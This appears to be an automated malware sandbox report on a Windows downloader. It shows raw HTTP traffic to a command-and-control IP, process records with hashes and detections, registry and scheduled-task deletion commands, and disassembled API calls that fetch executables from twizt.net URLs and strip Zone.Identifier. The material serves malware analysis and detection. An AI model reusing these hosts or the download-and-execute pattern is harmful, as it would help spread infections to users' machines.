Nov 28, 2024 18:18:51.034775019 CET	1236	IN	Data Raw: 75 92 9f e1 f9 e6 29 3b 58 62 3c 3e ee 4d 5c ff 89 ad 07 e1 c5 53 10 04 a3 9b 91 41 50 dd 80 d7 b0 77 c1 85 ae 83 44 81 dd c0 04 63 a3 11 90 99 5b ae f0 f8 38 dd 71 2d 21 80 71 5d bd 04 ba d3 63 92 a2 37 99 76 70 90 bc 1a 82 be ff 2e d3 d1 f4 f7 Data Ascii: u);Xb<>M\SAPwDc[8q-!q]c7vp.nnF{<~zdrmXt$8&2c^_E98k-70~?]$==T+TM^e~'O(wGX\1Y&$_xFLz
Nov 28, 2024 18:18:51.034795046 CET	1236	IN	Data Raw: f9 88 5f a6 24 ef 65 f7 e3 05 82 c5 fb 4d 84 3b 04 0e 42 92 eb 9b 6e 69 2c 39 59 3b 8f 70 7a 08 ac ae 40 45 98 6c 63 bf 2e 99 7d 94 9a 8b f1 c3 cc 4a 57 06 c2 3e e9 9a 34 3d 9c 5c 75 16 3d de bc 1d 46 0f 84 f9 25 bc c9 d9 aa 24 17 92 da 25 5f 5e Data Ascii: _$eM;Bni,9Y;pz@Elc.}JW>4=\u=F%$%_^R'IK4]x+.i/ qh['3(@`{nl;UfB5!59uGJ0hR!u(*d:Serk)BdWml
Nov 28, 2024 18:18:51.034807920 CET	1236	IN	Data Raw: 33 db 32 61 b3 d8 a6 03 60 93 23 26 f3 db ee b2 b6 8d 41 e9 57 78 64 89 3c 2c b2 17 d6 f6 a4 7f d9 76 5c 5d be de 02 8b 48 96 18 68 71 22 90 de 9d 34 6b 57 c9 fe 86 27 d7 fa 7b 1e 77 52 17 a8 34 f6 42 c9 a0 41 e9 93 3d 67 10 2d 53 92 19 a5 2a 4d Data Ascii: 32a`#&AWxd<,v\]Hhq"4kW'{wR4BA=g-SM^~lv^b%\Z)zW0EZSM#x6Y=z)}s]KL\Bd@!qcBXfk=}nfKWLFy6qijjq6b&?:2c4
Nov 28, 2024 18:18:51.034821033 CET	1236	IN	Data Raw: 0e 6f ab 62 60 7c b0 1a 8a 00 94 62 f1 1b ab f5 db 53 f6 c3 63 f3 f2 56 9e 3c 8f 84 4e e0 13 c7 99 5e 0b bf 53 e6 4d 25 44 02 a3 7a 1d 2a 7f 61 ea 30 29 a1 ac 16 e6 e4 ce 74 93 05 15 d8 99 c1 dc 61 c8 99 e5 6f ff e0 a1 28 4a 81 cd 61 ff d7 cd 0d Data Ascii: ob`\|bScV<N^SM%Dz*a0)tao(Jag{;5? w7m1j"zAJV,VjHN^C1uU\=AM-/!,]aYIRpoo9RjW`u-"W}v4dD8xhDtqUl/2
Nov 28, 2024 18:18:51.034974098 CET	1236	IN	Data Raw: c7 b2 21 51 5b 02 28 fb d0 37 a8 0e 5f 60 45 13 ae e0 d7 f7 ac cd fd 41 47 37 46 e4 06 80 d3 00 31 a7 71 ee fb 51 f0 c3 5c 6c ec 9c fb 02 ba 5d e7 0a 8b da c9 8a aa 7a 17 c0 c3 58 dc 6d 6c 4d 69 8e ff 61 e4 f8 83 1f 0a fe d9 fe 0e 49 e3 78 30 66 Data Ascii: !Q[(7_`EAG7F1qQ\l]zXmlMiaIx0f] KonttGp#3wdtgd(,v=-UsW^z]x&%tu=H%/}h+wy(V#Qpg+I#rkr#rLw{bE!NlH\|3
Nov 28, 2024 18:18:51.034989119 CET	1236	IN	Data Raw: 83 0c 55 8b 0d 06 4d 91 1d e6 40 8d 8f 82 16 15 af 71 1f ce 8d fd ef 11 6f 0b c3 62 a3 38 a7 e9 91 07 45 04 ab 68 ed de 3d c1 0c 0b 24 ac 3c 82 09 6e 4b 7e 33 0a 3a 8e dc 23 f3 36 da 9d 60 0c 00 c6 bc c1 2c 51 c5 d8 a8 d7 5f f6 ff e8 11 4b cd 78 Data Ascii: UM@qob8Eh=$<nK~3:#6`,Q_KxNo(Ul-&g+,'3%{s3_3I')#&r\|Fd aIQ<dX=lLv=1pjqZ)zo6hymsjw\#i0+X
Nov 28, 2024 18:18:51.035000086 CET	649	IN	Data Raw: da ca 34 31 cb 8c dd 52 e1 dc 6d 55 5c 67 82 11 64 11 ba 62 ba d5 2e c2 ee 05 c7 dd 0e 36 46 60 93 3a 2b 50 b2 86 d9 02 4a 9d dd 8f 5d 10 90 20 83 07 06 0d 4e 94 42 c8 3c 52 75 87 3f f3 51 a2 4f b6 d8 46 4e f3 84 78 ca d1 fb 54 2b 2c 40 63 18 f5 Data Ascii: 41RmU\gdb.6F`:+PJ] NB<Ru?QOFNxT+,@cp1/Fw@#y$wHsa!z_NwwofcwHsyGPgO/j>hcw05Yv[X'jq$:+L<k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49713	185.215.113.66	80	7656	C:\Windows\sysnldcvmr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 18:18:52.161539078 CET	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Nov 28, 2024 18:18:53.558790922 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 17:18:53 GMT Content-Type: application/octet-stream Content-Length: 10496 Last-Modified: Sun, 20 Oct 2024 18:34:00 GMT Connection: keep-alive ETag: "67154d18-2900" Accept-Ranges: bytes Data Raw: 13 e3 aa 7c f1 40 76 43 29 84 09 02 71 ae 39 fc df 9d fa 02 4b d8 7b 3e ae 0c e2 64 38 f9 d3 27 da 73 10 d1 ca f9 f2 4a f8 ad aa 12 e8 fa c9 50 6e f5 a1 6b 88 56 c2 7a 1f 17 e8 40 57 00 b2 8f df 4c 7b e3 14 75 47 bf 27 47 31 bb 43 4c 8e e7 b4 40 14 db 1d 3c 42 cc e1 36 dc d3 3b 91 3e 68 4d 15 e2 5c e6 98 da 7c 77 03 42 8c 76 ca a5 9a 81 db a1 ec 75 f2 84 a2 67 09 f0 c5 b4 4f 58 86 25 fc 20 b3 68 fa 72 39 3a 7c e0 1b f5 e8 b0 73 b6 f8 3c 81 36 fa 29 81 67 e8 ee 34 47 6c 59 b9 7f 18 32 42 66 14 35 b3 8d e2 41 8d e5 92 2b 47 1f c0 93 b3 28 d8 54 2d 6f 45 f1 c3 5a cf 49 32 33 d3 7b ac a8 27 33 c1 c9 e0 29 60 f9 b3 d3 5e 65 37 6a 7a 2f 4d 24 73 1b 93 bb fa 91 d2 34 ce 9b 19 db d6 2a 31 36 f0 a2 ab 92 6d 08 d9 66 72 6e 07 c5 44 44 2c 9e af ae ce d3 fb 57 61 28 cd 32 90 44 0e c3 39 95 a9 ab 17 e4 0d 16 a5 f0 c2 e3 78 c3 de e1 fa ff 86 d7 ae ab 06 ba 5a 6b 34 44 61 15 d3 b1 85 29 3f 83 f4 5f 68 10 ed 8d d7 73 41 11 b6 57 f3 ed 02 fa a4 42 32 ff 99 d6 ea 0a 63 48 51 ba 54 b5 00 01 83 3d 9e bb 55 dd 93 1c e5 [TRUNCATED] Data Ascii: \|@vC)q9K{>d8'sJPnkVz@WL{uG'G1CL@<B6;>hM\\|wBvugOX% hr9:\|s<6)g4GlY2Bf5A+G(T-oEZI23{'3)`^e7jz/M$s4*16mfrnDD,Wa(2D9xZk4Da)?_hsAWB2cHQT=U@3}!YGCX{ 4"&h0.'xu#c\|gL0)cM]oL{:En:?\|_XPQ@ 3.o)ua[I+fZM% ]2uz_Gwt0bFaMTd2Y&TMXP}+OpQEo6R;P>8`2'"~CZ_,2g $l"x:h;H`$-6_-eC?6T=qL3&fG)WG@6X~%X%RCh?R].fbU!PHh"Rj,dk.e\~hn(,G<u16tlw;p;yrSC_M6XhtG7zsHP,e_ddcn^M+ct\0jr>;_nq>xezw
Nov 28, 2024 18:18:53.558813095 CET	124	IN	Data Raw: b6 6f 0a 0a 83 25 6b 6b 77 fa e4 46 67 eb d9 41 2f aa 63 53 82 83 51 d9 2f 3d 63 6a 82 33 0b 6f 95 13 e1 9f 36 1b ba cb fb f5 6f 57 bb 40 bd 1d a5 c1 57 98 12 18 b1 98 2c ff 21 39 d5 d8 8c 8b 48 74 d5 8a 79 fc c5 75 bb aa e4 d3 c1 a0 97 29 d7 96 Data Ascii: o%kkwFgA/cSQ/=cj3o6oW@W,!9Htyu)PU:vO'8O>
Nov 28, 2024 18:18:53.560559034 CET	1236	IN	Data Raw: 2a a9 81 d6 fd 42 20 61 77 b3 e1 96 27 26 69 a5 a5 fd 12 45 e7 70 8e 52 61 02 17 bc a9 fa 4d a1 ea eb 5a fb ad a9 7c e3 d6 09 c7 bf 33 87 46 cc 6b 3c ed 6c d3 51 3b fe c7 be d3 12 b7 d8 47 62 86 b4 a5 12 50 1b 06 4d 8c ed 6c 18 68 d3 b2 17 e9 35 Data Ascii: *B aw'&iEpRaMZ\|3Fk<lQ;GbPMlh5}8m;ajW,N7&QKh.([gXC~Slm7lg0hd7NnyM8%Qf7\|VbF9?gk{is6u_pi!
Nov 28, 2024 18:18:53.560581923 CET	1236	IN	Data Raw: 4b dc 75 22 a9 31 18 da 58 da 9c 5b 38 49 62 0f b2 64 bd f8 00 b5 79 6d 2d 2a c5 7c 0a c5 a7 e9 1e a3 fd 06 2b 0f de a6 3e 61 08 18 aa 60 84 ce 3c fb 5a cc 21 25 12 f9 d9 17 a6 7c 20 a2 34 26 b5 80 dc bc 1c fc 99 e4 5b 2b d1 75 73 4c 5e a1 c3 65 Data Ascii: Ku"1X[8Ibdym-*\|+>a`<Z!%\| 4&[+usL^etpuu);Xb<>M\SAPwDc[8q-!q]c7vp.nnF{<~zdrmXt$8&2c^_E98k-
Nov 28, 2024 18:18:53.560594082 CET	248	IN	Data Raw: 0b 3e 1f 18 b4 22 57 d9 8b 7c 31 98 16 87 ae e9 52 72 6d 5d c2 16 1d 54 31 c6 26 50 53 c5 b3 54 51 99 ab e5 bf ce ab 5a 8a 71 45 74 67 a4 63 0c 5b 55 2a 2c 09 40 f8 fc e9 05 9a 85 93 2b 1f c2 e7 ee b8 e5 f1 4c c2 16 6f c2 52 95 cb 30 72 4d 77 66 Data Ascii: >"W\|1Rrm]T1&PSTQZqEtgc[U*,@+LoR0rMwfu^VUzcie_$eM;Bni,9Y;pz@Elc.}JW>4=\u=F%$%_^R'IK4]x+.i/ qh['3(@
Nov 28, 2024 18:18:53.562635899 CET	1236	IN	Data Raw: b3 98 60 7b c2 fe 18 6e 6c 3b f9 ac a2 de d3 91 55 a0 66 42 35 cf 21 d2 35 e4 39 75 47 bc 4a 30 fd b3 ec 68 e2 05 c4 c5 0d b9 52 96 f9 ee 21 eb 75 28 d5 c0 2a 64 ef c0 3a ab 95 53 65 fa 72 6b 02 d9 89 0d 29 a1 42 a0 92 05 af 99 89 64 03 c4 b2 ec Data Ascii: `{nl;UfB5!59uGJ0hR!u(d:Serk)BdWmlE)Mt9G2?=L{Pq CT dsHHw+~1uDu,;xuv&eaAwm])pQ`Hvn
Nov 28, 2024 18:18:53.562689066 CET	1236	IN	Data Raw: 5d d4 ae 87 4b 4c 5c f5 f8 b1 42 1c 64 40 21 dd a9 b2 1b 90 9c 81 19 71 86 63 c3 42 58 66 10 97 16 6b 3d 84 2a 17 7d 6e 66 0d 82 1c 4b 89 f7 0c b4 fc 57 4c fe e5 46 ad 79 7f 9e 36 a4 b2 71 69 ed a1 f5 ad 6a 09 6a c9 cc 71 82 36 aa fa 62 12 93 06 Data Ascii: ]KL\Bd@!qcBXfk=}nfKWLFy6qijjq6b&?:2c4]&`iDl=z4EdgAD7&iM:_GHkdUDfMvJ_;Pk9njT:S;7#B0;s9MxF!o-0.Iq&
Nov 28, 2024 18:18:53.562700033 CET	248	IN	Data Raw: 15 0a b1 41 8b 4d 2d 18 0d 2f 21 95 f5 2c 5d 7f 02 b3 e1 61 f1 81 14 90 ff a6 59 49 c6 b6 95 e1 52 b6 70 e5 9f b1 d7 6f 16 6f 39 ca 52 7f 6a 8d eb 57 0c 60 75 2d b8 22 aa d4 b9 c2 57 7d 76 34 64 44 38 78 a0 68 d0 a0 44 9b 74 71 55 fa f6 a6 80 b6 Data Ascii: AM-/!,]aYIRpoo9RjW`u-"W}v4dD8xhDtqUl/2:O!iKv^l1=>rJ!;=wJo OhzO=q~qF.Bth]QL>uAZ Zva"HIbKd
Nov 28, 2024 18:18:53.565061092 CET	1236	IN	Data Raw: 1f c2 c0 01 a9 a1 6d 1c 12 79 22 13 1e 59 39 ac 6f ba 33 c7 51 89 42 71 cf 1c 0c 8a a5 b3 a3 8e 59 56 d1 23 1f 09 19 56 72 38 9b 0a 43 a7 37 de 43 6c 55 38 2e 2a 20 8e 0e 09 cd b6 08 2f b5 3b 37 dc 28 bb df 5e eb 88 be 15 b4 5a 53 48 ba 3e 33 d6 Data Ascii: my"Y9o3QBqYV#Vr8C7ClU8.* /;7(^ZSH>3b\hljGkcy`L@&C7W{lxe;c\|<>i+,R:ecIfgIDpU^16gr2g"{Sq#<m0r
Nov 28, 2024 18:18:53.565097094 CET	224	IN	Data Raw: f5 12 b9 95 02 be ba 75 47 ee c3 6f 92 65 e2 78 09 e4 c1 46 cc f6 1a 2a bb a3 8c 2d 7e 51 f6 94 14 b6 19 09 ee 3b 59 30 f7 6f 71 62 a9 7f 81 06 da ca f3 13 9d 08 c3 db 3d 8f 67 08 aa a4 cf 1e b1 d0 cd dc 50 14 2f 04 2d fd 11 53 e2 ae a4 dc c9 10 Data Ascii: uGoexF*-~Q;Y0oqb=gP/-SeccZ?m_=UVTM'aYv_w&%k"- 1?3ul2'Kus2)^XCO"
Nov 28, 2024 18:18:53.681180000 CET	1236	IN	Data Raw: 09 dd 4e 8b 22 ca 5e 0c 07 45 5d 7a 0b 67 68 b7 ad fa 5b d6 21 a3 6e db 6c c4 f3 e4 d2 49 6f 6e d2 84 b7 9e 42 0f 04 d2 31 6a 85 84 67 d0 f6 27 90 bc 81 d5 7c f5 5d 77 3c 98 02 9e f6 4f a1 f7 79 7f 99 12 fa 13 fe 66 47 f4 1e e8 7f 25 57 bb 83 6c Data Ascii: N"^E]zgh[!nlIonB1jg'\|]w<OyfG%Wl'X2c _'v^]XtCP8&S*.OU@:`#45/`:JI]<KDZWdT6aMep>a<Wym+OdkXaKY;,SPXD@`7Geq

Target ID:	0
Start time:	12:18:24
Start date:	28/11/2024
Path:	C:\Users\user\Desktop\LM94OE0VNK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\LM94OE0VNK.exe"
Imagebase:	0x9c0000
File size:	10'240 bytes
MD5 hash:	8CE09F13942AB5BCB81B175996C8385F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:18:30
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\2374323789.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2374323789.exe
Imagebase:	0x400000
File size:	80'896 bytes
MD5 hash:	0C883B1D66AFCE606D9830F48D69D74B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 75%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:18:33
Start date:	28/11/2024
Path:	C:\Windows\sysnldcvmr.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\sysnldcvmr.exe
Imagebase:	0x400000
File size:	80'896 bytes
MD5 hash:	0C883B1D66AFCE606D9830F48D69D74B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 75%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:18:45
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\240016073.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\240016073.exe
Imagebase:	0xe30000
File size:	8'704 bytes
MD5 hash:	CB8420E681F68DB1BAD5ED24E7B22114
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:18:45
Start date:	28/11/2024
Path:	C:\Windows\sysnldcvmr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\sysnldcvmr.exe"
Imagebase:	0x400000
File size:	80'896 bytes
MD5 hash:	0C883B1D66AFCE606D9830F48D69D74B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:18:46
Start date:	28/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
Imagebase:	0x7ff7c5210000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:18:46
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:18:46
Start date:	28/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
Imagebase:	0x7ff7c5210000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:18:46
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:18:46
Start date:	28/11/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
Imagebase:	0x7ff7f5060000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:18:46
Start date:	28/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /delete /f /tn "Windows Upgrade Manager"
Imagebase:	0x7ff696e40000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:18:50
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\2693731851.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2693731851.exe
Imagebase:	0x400000
File size:	80'896 bytes
MD5 hash:	0C883B1D66AFCE606D9830F48D69D74B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 75%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	36.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	26.3%
Total number of Nodes:	95
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 009C1120 Relevance: 57.9, APIs: 27, Strings: 6, Instructions: 186
filenetworksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 009C1129
srand.MSVCR90 ref: 009C1130
ExpandEnvironmentStringsW.KERNEL32 ref: 009C114F
rand.MSVCR90 ref: 009C1155
rand.MSVCR90 ref: 009C1169
wsprintfW.USER32 ref: 009C1195
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36,00000000,00000000,00000000,00000000), ref: 009C11A7
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 009C11CD
CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000000,00000000,?,?,?,%temp%,?,00000104), ref: 009C11F1
InternetReadFile.WININET(00000000,?,00000103,?), ref: 009C121B
WriteFile.KERNELBASE(00000000,?,?,?,00000000,?,?,?,%temp%,?,00000104), ref: 009C1240
InternetReadFile.WININET(00000000,?,00000103,?), ref: 009C1255
CloseHandle.KERNEL32(00000000,?,?,?,%temp%,?,00000104), ref: 009C1260
wsprintfW.USER32 ref: 009C1278
DeleteFileW.KERNELBASE(?,?,?,?,?,?,%temp%,?,00000104), ref: 009C1289
CloseHandle.KERNEL32(00000000,?,?,?,%temp%,?,00000104), ref: 009C12A5
InternetCloseHandle.WININET(00000000), ref: 009C12B2
InternetCloseHandle.WININET(00000000), ref: 009C12BA
Sleep.KERNELBASE(000003E8,?,?,%temp%,?,00000104), ref: 009C12CB
rand.MSVCR90 ref: 009C12D8
Sleep.KERNEL32 ref: 009C12E6
rand.MSVCR90 ref: 009C12E8
rand.MSVCR90 ref: 009C12FC
wsprintfW.USER32 ref: 009C1322
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 009C133A
wsprintfW.USER32 ref: 009C1355
DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,%temp%,?,00000104), ref: 009C1362

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36, xrefs: 009C11A2
%s:Zone.Identifier, xrefs: 009C1272
%s\%d%d.exe, xrefs: 009C118F
%temp%, xrefs: 009C1145
%s\%d%d.exe, xrefs: 009C131C
%s:Zone.Identifier, xrefs: 009C134F

Memory Dump Source

Source File: 00000000.00000002.1477258605.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.1477229625.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1477318610.00000000009C2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1477337602.00000000009C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_LM94OE0VNK.jbxd

Similarity

API ID: File$Internet$rand$CloseHandlewsprintf$DeleteOpenReadSleep$CountCreateDownloadEnvironmentExpandStringsTickWritesrand
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
API String ID: 1566391613-1161929716
Opcode ID: 7b3b870e566ca4cb9bec787b02525999ea8132a09655bcbf49118f5a44b1a7df
Instruction ID: f36a87550353c0d538836ec31d629ac1756d751733ce0d3a55cb49ca529c58a0
Opcode Fuzzy Hash: 7b3b870e566ca4cb9bec787b02525999ea8132a09655bcbf49118f5a44b1a7df
Instruction Fuzzy Hash: 5651B571E48341ABE321E760DC86FAB33ADABC5704F00491EF645961C2EA78A604D777

Function 009C1000 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 37
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 009C1018
wsprintfW.USER32 ref: 009C1030
PathFileExistsW.KERNELBASE(00000000), ref: 009C103D
CreateFileW.KERNELBASE(40000000,40000000,00000000,00000000,00000001,00000002,00000000), ref: 009C1064
CloseHandle.KERNELBASE(00000000), ref: 009C1070

Strings

%temp%, xrefs: 009C1013
^[w, xrefs: 009C103D
%s\33573537.jpg, xrefs: 009C102A

Memory Dump Source

Source File: 00000000.00000002.1477258605.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.1477229625.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1477318610.00000000009C2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1477337602.00000000009C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_LM94OE0VNK.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExistsExpandHandlePathStringswsprintf
String ID: %s\33573537.jpg$%temp%$^[w
API String ID: 750032643-3416933354
Opcode ID: bcb7fe91dd7029c8dfd00d6daf8464ad10a9cc15cdb355e21ee9b7be2537b355
Instruction ID: cc4eb8a6b9118c164adaa3a52a47e0080d1eb699ebbf1cdb1d7249189176658b
Opcode Fuzzy Hash: bcb7fe91dd7029c8dfd00d6daf8464ad10a9cc15cdb355e21ee9b7be2537b355
Instruction Fuzzy Hash: FDF0F0F4D183006BE630DB20DC4AFDA3368AB44704F80491AB365D10E2EBB49188DBA6

Function 009C1380 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 35
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 009C1385

Part of subcall function 009C1120: GetTickCount.KERNEL32 ref: 009C1129
Part of subcall function 009C1120: srand.MSVCR90 ref: 009C1130
Part of subcall function 009C1120: ExpandEnvironmentStringsW.KERNEL32 ref: 009C114F
Part of subcall function 009C1120: rand.MSVCR90 ref: 009C1155
Part of subcall function 009C1120: rand.MSVCR90 ref: 009C1169
Part of subcall function 009C1120: wsprintfW.USER32 ref: 009C1195
Part of subcall function 009C1120: InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36,00000000,00000000,00000000,00000000), ref: 009C11A7
Part of subcall function 009C1120: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 009C11CD
Part of subcall function 009C1120: CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000000,00000000,?,?,?,%temp%,?,00000104), ref: 009C11F1
Part of subcall function 009C1120: InternetReadFile.WININET(00000000,?,00000103,?), ref: 009C121B
Part of subcall function 009C1120: WriteFile.KERNELBASE(00000000,?,?,?,00000000,?,?,?,%temp%,?,00000104), ref: 009C1240
Part of subcall function 009C1120: InternetReadFile.WININET(00000000,?,00000103,?), ref: 009C1255

Part of subcall function 009C1000: ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 009C1018
Part of subcall function 009C1000: wsprintfW.USER32 ref: 009C1030
Part of subcall function 009C1000: PathFileExistsW.KERNELBASE(00000000), ref: 009C103D

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36,00000000,00000000,00000000,00000000), ref: 009C13B0
InternetOpenUrlA.WININET(00000000,http://twizt.net/peinstall.php,00000000,00000000,00000000,00000000), ref: 009C13D0
InternetCloseHandle.WININET(00000000), ref: 009C13D7
InternetCloseHandle.WININET(00000000), ref: 009C13DA

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36, xrefs: 009C13AB
http://twizt.net/newtpp.exe, xrefs: 009C138B
http://twizt.net/peinstall.php, xrefs: 009C13CA

Memory Dump Source

Source File: 00000000.00000002.1477258605.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.1477229625.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1477318610.00000000009C2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1477337602.00000000009C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_LM94OE0VNK.jbxd

Similarity

API ID: Internet$File$Open$CloseEnvironmentExpandHandleReadStringsrandwsprintf$CountCreateExistsPathSleepTickWritesrand
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36$http://twizt.net/newtpp.exe$http://twizt.net/peinstall.php
API String ID: 2331825455-3619598175
Opcode ID: 7e2cb2a5850fb0a219bc87ef1c135da7d12fecec33d78265d5402818ff1a1d43
